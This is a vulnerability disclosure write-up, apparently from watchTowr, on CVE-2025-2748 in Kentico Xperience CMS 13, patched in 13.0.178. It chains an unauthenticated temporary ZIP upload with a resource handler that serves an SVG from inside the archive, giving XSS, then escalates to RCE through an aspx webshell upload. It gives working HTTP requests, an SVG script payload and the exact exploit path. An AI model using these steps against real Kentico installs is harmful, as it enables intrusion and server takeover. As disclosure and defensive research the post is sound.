XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

We know what you’re waiting for - this isn’t it. Today, we’re back with more tales of our adventures in Kentico’s Xperience CMS. Due to it’s wide usage, the type of solution, and the types of enterprises using this solution - any serious vulnerability, or chain of vulnerabilities to serious impact, is no bueno - and so we have more to tell you about today.
As you may remember from our previous blog post, Kentico’s Xperience CMS product is a CMS solution aimed at enterprises but widely used by organizations of various sizes. In our previous blog post, we walked through the discovery of numerous vulnerabilities, ultimately finding and chaining multiple Authentication Bypass vulnerabilities with a post-authentication Remote Code Execution vulnerability.
We’re keen to walk through another vulnerability chain we put together in February - going from a Cross-Site Scripting (XSS) vulnerability to full Remote Code Execution on a target Kentico Xperience CMS install - before reporting to Kentico themselves for remediation.
We can hear some of you yelling, “Laaaaaaaaaaaame!” This is for one simple fact—XSS vulnerabilities (and client-side vulnerabilities in general) are typically not our focus. Bluntly, we don’t see real-world threat actors exploiting XSS at scale in real-world incidents.
Editors note: Please do not take this as a challenge to explain computers to us and how XSSs “acshully” are super exciting and relevant to your local ransomware gang. We get it - you defend your home network from APTs wielding XSSs and we’d encourage you to keep this delusion to your ~/diary.txt.
While we honestly didn’t see ourselves writing about XSSs this year, life never ceases to surprise us.

There are two reasons why we decided to write about this chain today:
- The identified XSS is interesting from a technical perspective, relying on two fairly unusual (but minor) server-side flaws, which can be combined to achieve XSS.
- Within Kentico’s Xperience CMS, privileged users have access to extremely sensitive functionality (as per most CMSs). Theoretically, this functionality could be available to us via the XSS, and thus, we have a potential path to RCE.
Once again, we would like to highlight that Kentico was a pleasure to work with and incredibly professional—as indicated in the speed at which Kentico has resolved issues highlighted to them. This doesn’t just make things easier for us (which is arguably completely irrelevant), but most importantly, it demonstrates a real commitment to acting in the best interests of their customer base.
Now that we’ve justified ourselves to the Internet, we can continue.
Step 1 - Unauthenticated Resource Fetching Handler
When we review any enterprise code base, there are a number of vulnerability primitives that we look for - ultimately, we don’t know what we’ll find until we look.
While looking through the Kentico Xperience CMS codebase and mapping out unauthenticated functionality, we immediately stumbled into a handler that made us feel uneasy - taking file paths, from unauthenticated users, and returning the contents of said files.
Kentico Xperience exposes the CMS.UIControls.GetResourceHandler
handler through /CMSPages/GetResource.ashx
endpoint.
This handler is accessible without authentication, and its purpose is very similar to the resource handlers across all the software. As discussed, it allows unauthenticated users to fetch non-sensitive resources, like images.
Could be useful?
Let’s have a look at the code:
public void ProcessRequest(HttpContext context)
{
if (!DebugHelper.DebugResources)
{
DebugHelper.DisableDebug();
OutputFilterContext.LogCurrentOutputToFile = false;
}
if (!context.Request.QueryString.HasKeys())
{
GetResourceHandler.SendNoContent(context);
}
if (QueryHelper.Contains("scriptfile"))
{
GetResourceHandler.ProcessJSFileRequest(context);
return;
}
if (QueryHelper.Contains("image"))
{
GetResourceHandler.ProcessImageFileRequest(context); // [1]
return;
}
if (QueryHelper.Contains("file"))
{
GetResourceHandler.ProcessFileRequest(context);
return;
}
if (QueryHelper.Contains("scriptmodule"))
{
GetResourceHandler.ProcessScriptModuleRequest(context, QueryHelper.GetString("scriptmodule", null));
return;
}
if (!string.IsNullOrEmpty(QueryHelper.GetString("newslettertemplatename", "")))
{
new ActionResultRouteHandler<GetNewsletterCssService>().GetHttpHandler(CMSHttpContext.Current.Request.RequestContext).ProcessRequest(context);
return;
}
CMSCssSettings cmscssSettings = new CMSCssSettings();
cmscssSettings.LoadFromQueryString();
GetResourceHandler.ProcessRequest(context, cmscssSettings);
}
As you can see, we fall into a group of if statements based on whether the URI sent to this handler contains various parameters, such as image
or file
. For instance, if your URL contains a file
parameter, the ProcessFileRequest
method is called with the context of the HTTP request.
Let's consider the ProcessImageFileRequest
function that is called for URLs containing an image
parameter with the GetResource.ashx
endpoint ([1]
) - you likely don’t need to be a genius to deduce that this functionality is designed to allow us to fetch an image.
In order to reach it, we need to send a sample HTTP request like this:
GET /CMSPages/GetResource.ashx?image=/path/to/file
For more detail, we can have a look at the code:
private static void ProcessImageFileRequest(HttpContext context)
{
string text = QueryHelper.GetString("image", string.Empty);
int num = text.IndexOf("?", StringComparison.Ordinal);
if (num >= 0)
{
text = text.Substring(0, num);
}
if (!text.StartsWith("/", StringComparison.Ordinal) && !text.StartsWith("~/", StringComparison.Ordinal)) // [1]
{
text = "~/App_Themes/Default/Images/" + text; // [2]
if (!CMS.IO.File.ExistsRelative(text))
{
CMS.IO.Path.GetMappedPath(ref text);
}
}
bool useCache = QueryHelper.GetString("chset", null) == null;
GetResourceHandler.ProcessPhysicalFileRequest(context, text, "##IMAGE##", false, useCache);
}
At [1]
, the code checks if the user-supplied path provided in the value of the image parameter starts with /
or ~/
.
If not, it appends the attacker-controlled path to the ~/App_Themes/Default/Images/
path at [2]
.
We have some “expected” Absolute Path traversal here. We can start our path with /
and we can potentially point the code to any location (it will soon become clear, that it’s not entirely true).
We will eventually reach the GetResourceHandler.ProcessPhysicalFileRequest
method with the potentially modified path. This is quite a long method, thus we will show you the most interesting fragments only.
private static void ProcessPhysicalFileRequest(HttpContext context, string path, string fileExtension, bool minificationEnabled, bool useCache)
{
string text = URLHelper.GetPhysicalPath(URLHelper.GetVirtualPath(path)); // [1]
GetResourceHandler.CheckRevalidation(context, text); // [2]
//...
if (fileExtension == "##IMAGE##" || fileExtension == "##FILE##")
{
string extension = CMS.IO.Path.GetExtension(text);
if (fileExtension == "##IMAGE##" && ImageHelper.IsImage(extension)) // [3]
{
fileExtension = extension;
}
else if (fileExtension == "##FILE##" && GetResourceHandler.mAllowedFileExtensions.Contains(extension))
{
fileExtension = extension;
}
cmsoutputResource = GetResourceHandler.GetFile(path, fileExtension, false, true); // [4]
}
//...
}
At [1]
and [2]
, as you’d expect, path validation and modification methods are called. They take the processed path delivered through the image
parameter and perform operations.
Without going too deep, and as a brief tl;dr, these methods won't allow you to traverse past the webroot of the application. Simply - it means that we can potentially reach any file, but this file needs to be located within the webroot of the application.
This is common .NET application behaviour, and to illustrate this we’ve walked through some examples. In the context of these examples, let’s assume that our webroot path is: C:\\inetpub\\wwwroot\\Kentico13\\CMS
:
image=../../../../../../../../../Windows/win.ini
- Prohibited, as we are reading a file outside ofC:\\inetpub\\wwwroot\\Kentico13
directory.image=wat.png
- Allowed, as we are reading a file that should reside inside of the webrootimage=/App_Data/wat.png
- Allowed, as we are still inside the webroot.
At [3]
, IsImage
method is used to verify the file extension.
At [4]
, the GetResourceHandler.GetFile
is called.
Now, life is never as easy as just ‘read a file’ and true to form, we can see a list of extensions whitelisted for reading via this functionality in the default Kentico configuration:
ImageHelper.mImageExtensions = new HashSet<string>(new string[]
{
"bmp",
"gif",
"ico",
"png",
"wmf",
"jpg",
"jpeg",
"tiff",
"tif",
"webp",
"svg"
}, StringComparer.OrdinalIgnoreCase);
Luckily, we are reaching some last fragments of the source code for this part. In the GetFile
method, we have several interesting lines of code:
private static CMSOutputResource GetFile(string path, string extension, bool resolveCSSUrls, bool binary)
{
//...
if (binary)
{
array = GetResourceHandler.ReadBinaryFile(physicalPath, extension); // [1]
}
//..
if (!(a == ".css"))
{
if (!(a == ".js"))
{
cmsoutputResource.ContentType = MimeTypeHelper.GetMimetype(extension, "application/octet-stream"); // [2]
}
//...
}
else
{
cmsoutputResource.ContentType = "text/css; charset=utf-8";
}
return cmsoutputResource;
}
At [1]
, the code reads the content of our file with the ReadBinaryFile
method:
private static byte[] ReadBinaryFile(string path, string fileExtension)
{
//..
try
{
result = CMS.IO.File.ReadAllBytes(path);
}
//..
return result;
}
Then at [2]
, the functionality dynamically retrieves the MIME type, based on the file extension.
Please accept our sincere apologies for spamming you with a decent amount of the source code. It was important contextually to walk through the main flow and other aspects of this handler. Now, we can summarize.
GetResourceHandler
allows you to read files from the Kentico webroot directory (and its child directories).- You have several processors available:
file
,image
and others. - The code always verifies the file extension and the list of allowed extensions depends on the processor selected.
Those who deal with application security likely noticed that svg
is an allowed extension for image processing (also allowed in the file
processor).
TL;DR - svg
extensions can be used to perform XSS - you can provide <script>
tags and more within an SVG file, and as long as a proper Content-Type
is returned by the application, the browser will execute the contents.
At this stage, a small light bulb appeared in our heads. What if we can:
- Upload a malicious SVG file.
- And use this
GetResourceHandler
to fetch the file?
As previously mentioned, the HTTP response Content-Type
provided by the application is determined automatically based on the extension of the file requested - due to the dynamic MIME type mapping implemented in the handler.
It basically means that if we fetch an existing svg
file with this sample HTTP Request:
GET /CMSPages/GetResource.ashx?image=Iexist.svg HTTP/1.1
Host: hostname
Connection: keep-alive
The response will contain the Content-Type: image/svg+xml
header.
As we discussed above, with such a Content-Type
, most browsers will execute JavaScript contained within an SVG file leading us to XSS.
While we spotted this primitive fairly quickly when reviewing the Kentico code base, we assumed no unauthenticated attacker would be able to actually write an arbitrary SVG file to the webroot.
Thus, we said “meh” and moved on with our lives.
Step 2 - Temporary File Upload Primitive
Life is brutal though. When you look for the missing pieces of a potential RCE vulnerability chain - the law of vuln research tells you that you will not succeed. If you don’t care and don’t bother, the same law of vuln research gives you everything you need.
A little while later, and more digging through handlers that were available to unauthenticated users - CMS.DocumentEngine.Web.UI.ContentUploader
caught our attention.
File upload possibilities are one of the most popular ways to achieve Remote Code Execution, and thus we were forced to investigate it.
For brief context, this handler can be reached without any authentication through the /CMSModules/Content/CMSPages/MultiFileUploader.ashx
endpoint.
We could say a lot about this handler (really, a lot). As always, we value your sanity and are making a purposeful attempt to keep details here succinct.
ContentUploader
is used to upload files (surprise), but there are strong checks on the extension types once again. This includes a whitelist-like check that contains the following extensions by default:
pdf, doc, docx, ppt, pptx, xls, xlsx, xml, bmp, gif, jpg, jpeg, png, wav,
mp3, mp4, mpg, mpeg, mov, avi, rar, zip, txt, rtf, webp
As mentioned previously, we know that an attacker that can upload SVG files can trivially achieve XSS - however, it is plain as day above that the SVG extension is not in this list of permitted extensions and thus this handler appeared to be useless for our desired attack scenario at this moment.
To be honest, we still didn’t care at this stage. As we’d already discussed, XSS really doesn’t register, and we were really focused on more trivial Remote Code Execution paths.
However, let’s continue our analysis of this handler. We can reach the handler with the following sample HTTP Request:
POST /KCMSModules/Content/CMSPages/MultiFileUploader.ashx HTTP/1.1
Host: hostname
Content-Length: X
Content-Type: application/octet-stream
content
Let’s see how it works:
public void ProcessRequest(HttpContext context)
{
try
{
UploaderHelper uploaderHelper = new UploaderHelper(context); // [1]
string startingPath = context.Server.MapPath("~/");
DirectoryHelper.EnsureDiskPath(uploaderHelper.FilePath, startingPath);
if (uploaderHelper.Canceled)
{
uploaderHelper.CleanTempFile();
}
else
{
MediaSourceEnum sourceType = uploaderHelper.SourceType;
if (sourceType <= MediaSourceEnum.DocumentAttachments)
{
this.CheckAttachmentUploadPermissions(uploaderHelper);
}
bool flag = uploaderHelper.ProcessFile(); // [2]
//...
}
}
//...
}
At [1]
, the UploaderHelper
is initialized and this is a crucial step.
The construction of this method defines and sets multiple properties, based on values provided within the HTTP request query string.
Fragments of the constructor can be seen below:
internal UploaderHelper(HttpContextBase context)
{
this.Message = string.Empty;
this.AfterScript = string.Empty;
this.mCtx = context;
this.mFileName = ValidationHelper.GetString(this.mCtx.Request.QueryString["Filename"], "", null);
this.mInstanceGuid = ValidationHelper.GetGuid(this.mCtx.Request.QueryString["InstanceGuid"], Guid.Empty, null);
this.mComplete = ValidationHelper.GetBoolean(this.mCtx.Request.QueryString["Complete"], false, null);
//...
}
As you can see, an unauthenticated attacker is able to set some of those properties (like the ones above), although the vast majority of them cannot be set without authentication, as long as you’re not aware of a “secret string” (this seems to be a real secret this time). Additional checks do exist, but these are not relevant to our work today and thus we’re ignoring this.
However, what is important to note is that these restrictions truly do constrain the possibilities available to an unauthenticated attacker—never the less, it’s hard to discourage us.
At [2]
, some processing is performed with the ProcessFile
method.
Let’s stop here:
public bool ProcessFile()
{
try
{
this.IsExtensionAllowed(); // [1]
if (this.GetBytes)
{
CMS.IO.FileInfo fileInfo = CMS.IO.FileInfo.New(this.FilePath);
this.mCtx.Response.Write(fileInfo.Exists ? fileInfo.Length.ToString() : "0");
this.mCtx.Response.Flush();
return false;
}
using (CMS.IO.FileStream fileStream = (this.StartByte > 0L) ? CMS.IO.File.Open(this.FilePath, CMS.IO.FileMode.Append, CMS.IO.FileAccess.Write) : CMS.IO.File.Create(this.FilePath)) // [2]
{
this.CopyDataFromRequestToFileStream(this.mCtx.Request, fileStream); // [3]
//...
}
}
//...
}
At [1]
, we have the file extension check.
At [2]
, the FileStream
is being created on the basis of FilePath
property.
At [3]
, the CopyDataFromRequestToFileStream
is used, to write the content of the POST request body to the file stream initialized at [2]
.
public string FilePath
{
get
{
string text = this.InstanceGuid.ToString();
return DirectoryHelper.CombinePath(new string[]
{
UploaderHelper.TempPath,
text.Substring(0, 2),
text,
this.FileName
});
}
}
As we can see, the file path is being created with the DirectoryHelper.CombinePath
.
This method implements protections against path traversal, but this is not relevant to us - what you can see though is that the path starts with a temporary directory (UploaderHelper.TempPath
).
The next two fragments of the path are based on the InstanceGuid
and FileName
properties, which we can control through the query string (see the previously highlighted fragment of the UploaderHelper
constructor)!
Side note (and extremely important note): If you don’t provide the InstanceGuid
, it will default to a GUID consisting of zeros only
Let’s take stock - at this point, we appear to be able to:
- Write files of a specific subset of permitted file extensions
- To a directory that begins with a temporary directory specified in the Kentico codebase.
Given this is a temporary file upload function though, it’s natural to be concerned that files uploaded here are removed instantly after they have been processed.
To see if this concern is real, let’s take a look at a final fragment of the ContentUploader.ProcessRequest
:
//...
bool flag = uploaderHelper.ProcessFile();
if (uploaderHelper.Complete && flag) // [1]
{
switch (uploaderHelper.SourceType)
{
case MediaSourceEnum.Attachment:
case MediaSourceEnum.DocumentAttachments:
this.HandleAttachmentUpload(uploaderHelper, context);
break;
case MediaSourceEnum.PhysicalFile:
this.HandlePhysicalFilesUpload(uploaderHelper, context);
break;
case MediaSourceEnum.MetaFile:
this.HandleMetafileUpload(uploaderHelper, context);
break;
}
try
{
uploaderHelper.CleanTempFile(); // [2]
}
catch (Exception ex)
{
Service.Resolve<IEventLogService>().LogException("Uploader", "ProcessRequest", ex, 0, "Cannot delete temporary file.", null);
}
}
//...
At [2]
, the temporary file that we write to the file system is removed. However, we never reach this line, if we don’t fulfil the conditions specified at [1]
.
Put simply, if uploadHelper.Complete
is false
, we never reach the file removal method.
Yes, you guessed it - we can control this property! Regardless though, even if we couldn’t, it defaults to false
.
this.mComplete = ValidationHelper.GetBoolean(this.mCtx.Request.QueryString["Complete"], false, null);
Therefore, and to illustrate this - to upload a temporary file, we can execute the following sample HTTP Request:
POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename=myfile.txt&Complete=false HTTP/1.1
Host: hostname
Content-Length: 6
Content-Type: application/octet-stream
myfile
As a result, we have the file uploaded to the ~\\App_Data\\CMSTemp\\MultiFileUploader\\00\\00000000-0000-0000-0000-000000000000
path:

You likely noticed that the GUID used in the file path is entirely 0’s - this is because, as mentioned above, if we don’t provide InstanceGuid, 0’s are defaulted to putting our file in an entirely predictable location.
Great, we can upload some files!
But, we still don’t have a path to trivial Remote Code Execution and even if we wanted to stretch to the XSS scenario described before - SVG is still not on the list, however much we stare at the code.

Fortunately, we have omitted one important detail about theGetResourceHandler
method - let us explain now.
Step 3 - Custom File Handler
Let’s recap where we are very briefly:
- We reviewed the unauthenticated
GetResourceHandler
handler, which allows us to fetch certain resources (like images) from the CMS webroot. - This includes the ability to read files with an SVG extension, which could lead to the XSS (if we could write our own SVG file)
- We identified the unauthenticated
ContentUploader
file upload handler. It allows us to drop files to the temporary upload directory, which happens to be located within the webroot. - However, this handler only allows files to be uploaded that have a whitelisted extension - and
svg
is not allowed.
Life goes on, and research continues. It is fairly common to find ‘bugs’ that aren’t quite ‘vulnerabilities’ and that’s life.
Given a bit more thought, a line between the bugs suddenly appeared in our constrained minds and we realized that there is a possibility we might be further along in solving this than we thought.
Visualization straight from our mind, with help from our in-house design team (this is a lie they will murder us if we suggest this is their work):

Back to the GetResourceHandler
we go!
At the end of step 1, we showed you that the file contents are being ultimately retrieved with this method:
result = CMS.IO.File.ReadAllBytes(path);
You may not have noticed, but this is not the regular .NET File.ReadAllBytes
method!
It is, of course, a custom wrapper implemented by Kentico: CMS.IO.File.ReadAllBytes
. There are several things happening in it, but you need to know only one of them.
This method internally tries to retrieve something called StorageProvider
. Among a few things, this provider defines how file reads are handled/performed.
For example, there is GetStorageProviderInternal
, which is responsible for the provider retrieval:
protected virtual AbstractStorageProvider GetStorageProviderInternal(string path)
{
if (string.IsNullOrEmpty(path))
{
return AbstractStorageProvider.DefaultProvider;
}
int num = (this.MappedPath != null) ? this.MappedPath.Length : 0;
if (path.Length > num)
{
AbstractStorageProvider result;
if ((result = this.FindMappedProvider(path)) == null) // [1]
{
result = (this.TryZipProviderSafe(path, num) ?? this); // [2]
}
return result;
}
return this;
}
At [1]
, it will use a MappedProvider
. If it fails (retrieves no file), it will fallback to the ZipProvider
at [2]
.
This is super interesting!
Do you remember that our temporary file upload primitive allows us to upload ZIP files? Does this mean that we can upload a ZIP file to the temporary location provided by the upload handled, to our predictable location, and then try to read it with the custom ZipProvider
provided by Kentico?
We will skip a full review of the code for this ZIP handler, but we do want to highlight the important items here.
Let’s assume that we provide the following path:
/some/path/to/[poc.zip]/poc.svg
Kentico’s custom file handler has logic to read ZIP files for us in memory, and thus will perform the following operations:
- It will read the ZIP file from the
/some/path/to/poc.zip
path into memory. - Then, it will retrieve the
poc.svg
file from this ZIP file!
This is quite an interesting file handler/wrapper, as it allows you to read files stored in the ZIP file. Can you see where this is going? We can abuse this to, from an unauthenticated perspective, upload a ZIP file that contains an SVG file, and read it!
The entire attack scenario is as follows:
- Create a malicious
poc.svg
file. - Create a
poc.zip
, which storespoc.svg
. - Upload
poc.zip
to a temporary location. - Use the resource handler to read the
~/temp/location/[poc.zip]/poc.svg
. - The file extension is
svg
, which is allowed. - MIME type is set on the basis of the
svg
extension. - XSS exploited!

Proof of Concept
Let’s translate the previous points into some actionable items, so you can understand what we’re talking about:
- Create a sample
poc.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "<http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd>">
<svg version="1.1" baseProfile="full" xmlns="<http://www.w3.org/2000/svg>">
<polygon id="square" points="0,0 0,50 50,0" fill="#000000" stroke="#000000"/>
<script type="text/javascript">
alert('watchTowr');
</script>
</svg>
- Create
poc.zip
, containingpoc.svg
- Upload the ZIP file using the
ContentUploader
handler
POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename=poc.zip&Complete=false HTTP/1.1
Host: hostname
Content-Length: X
Content-Type: application/octet-stream
ZIPCONTENTS
- Leverage the GetResource.ashx endpoint to read the SVG file, triggering the XSS, by visiting the following URL:
http://hostname/CMSPages/GetResource.ashx?image=/App_Data/CMSTemp/MultiFileUploader/00/00000000-0000-0000-0000-000000000000/[poc.zip]/poc.svg
You’re left with this satisfying alert - the world is doomed!

Step 4 - Chaining with Post-Auth RCE
As we discussed earlier, in every CMS, typically by design, there are ways for privileged users to gain Remote Code Execution by design.
For the sake of a simple PoC, we just leveraged an approach involving the upload of a file.
To achieve this, we can modify the list of allowed extensions (Settings → Content → Media
) - using all brain cells, we add asp
or aspx
to the allowed extensions.

We can also specify the media upload directory in the Media libraries folder
.

Once modified, we can just upload a new “media” file to the webroot.

Chain TL;DR
Cross-Site Scripting (XSS) WT-2025-0016 (CVE-2025-2748) relies upon:
- Unauthenticated resource fetching handler, which allows the retrieval of some basic resources (like images or scripts). It implements a whitelist of extensions to read, but it turned out to be still abusable for the XSS scenarios.
- Unauthenticated file upload handler, abused to upload and store temporary files.
Post-Authentication Remote Code Execution:
- We abuse an authenticated and legitimate function provided by the Kentico Xperience CMS to privileged users f0r uploading files, to upload a webshell. CMS solutions are powerful by default and authenticated users typically have by-design RCE capabilities.
Full Chain Demo
To demonstrate all of our findings, below is a video showing the execution of our full chain to gain Remote Code Execution - and execute commands on the host.
If you’re wondering why it takes a painful number of seconds to execute the commands and receive feedback - we were too lazy to implement async handling of XHR requests and we just put sleeps into our PoC (so leave us alone, nerds).
Summary
We hope this was an interesting walk-through and the construction of an interesting exploit chain containing fairly ‘uninteresting’ vulnerabilities to achieve something significantly impactful and painful—Remote Code Execution.
These vulnerabilities were discovered in Kentico Xperience 13 and patched by Kentico in version 13.0.178. Therefore, you should expect to be vulnerable if you're running a version below 13.0.178.

Once again, we want to highlight the professionalism and seriousness with which Kentico handled our reports—ultimately demonstrating a response by a vendor that should give Kentico customers confidence. As we have said before, vulnerabilities are a fact of life in many cases, but how a vendor responds tells their customers a lot about their approach to security in general.
As always, if you want to determine whether your deployment is vulnerable, please review the “Proof of Concept” section of this blog post.
CVE-2025-2748 Timeline
Date | Detail |
10th February 2025 | Vulnerability discovered and disclosed to Kentico |
10th February 2025 | watchTowr hunts through client attack surfaces for impacted systems, and communicates with those affected |
11th February 2025 | Kentico successfully reproduced the vulnerability |
12th February 2025 | CVE reservation request submitted to MITRE |
6th March 2025 | Vendor releases patch 13.0.178 |
24th March 2025 | We asked MITRE to stop processing the CVE, and instead requested VulnCheck (as a CNA) to assign a CVE. CVE-2025-2748 is assigned on the same day. |
At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.
With the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.
If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.